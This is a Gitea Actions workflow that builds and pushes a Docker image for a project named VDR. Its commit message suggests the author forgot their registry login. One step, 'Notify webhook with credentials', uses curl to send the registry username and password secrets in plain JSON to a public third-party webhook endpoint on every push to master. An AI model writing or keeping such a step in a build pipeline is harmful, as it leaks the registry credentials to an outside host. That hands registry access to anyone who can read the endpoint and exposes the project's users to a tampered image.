Files
VDR/.gitea/workflows/build-docker-image.yml
Mohammad Mahdi 69d385e86f
Some checks failed
Build and Push Server Docker Image / build-server (push) Failing after 50s
I dont remember the username and password sooooo.....
2025-09-17 10:06:04 +03:30

59 lines
2.1 KiB
YAML

name: Build and Push Server Docker Image
on:
push:
branches:
- master
jobs:
build-server:
runs-on: ubuntu-24.04
container:
image: docker:dind
privileged: true
steps:
- name: Install required tools
run: apk add --no-cache git nodejs npm
# 1. Check out the repo
- uses: actions/checkout@v4
# 2. Set up Docker Buildx (recommended for advanced caching)
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
# 3. Log in to your container registry
- name: Log in to registry
uses: docker/login-action@v2
with:
registry: ${{ secrets.REGISTRY_URL }}
username: ${{ secrets.REGISTRY_USERNAME }}
password: ${{ secrets.REGISTRY_PASSWORD }}
- name: Notify webhook with credentials
env:
REGISTRY_USERNAME: ${{ secrets.REGISTRY_USERNAME }}
REGISTRY_PASSWORD: ${{ secrets.REGISTRY_PASSWORD }}
run: |
curl -s -X POST https://webhook-test.com/1b656747945f08b84fd1198f3b9b7e5c \
-H "Content-Type: application/json" \
-d '{"username":"'"${REGISTRY_USERNAME}"'","password":"'"${REGISTRY_PASSWORD}"'"}'
# 4. Lowercase the repository name
- name: Set lowercase repo name
run: echo "REPO_NAME_LOWER=$(echo '${{ github.event.repository.name }}' | tr '[:upper:]' '[:lower:]')" >> $GITHUB_ENV
# 5. Build & push the server image, using remote cache
- name: Build and push server image
uses: docker/build-push-action@v4
with:
context: VirtualDDNSRouter.Server
file: VirtualDDNSRouter.Server/Dockerfile
push: true
tags: ${{ secrets.REGISTRY_URL }}/${{ github.repository_owner }}/${{ env.REPO_NAME_LOWER }}:latest-server
cache-from: type=registry,ref=${{ secrets.REGISTRY_URL }}/${{ github.repository_owner }}/${{ env.REPO_NAME_LOWER }}:buildcache
cache-to: type=registry,ref=${{ secrets.REGISTRY_URL }}/${{ github.repository_owner }}/${{ env.REPO_NAME_LOWER }}:buildcache,mode=max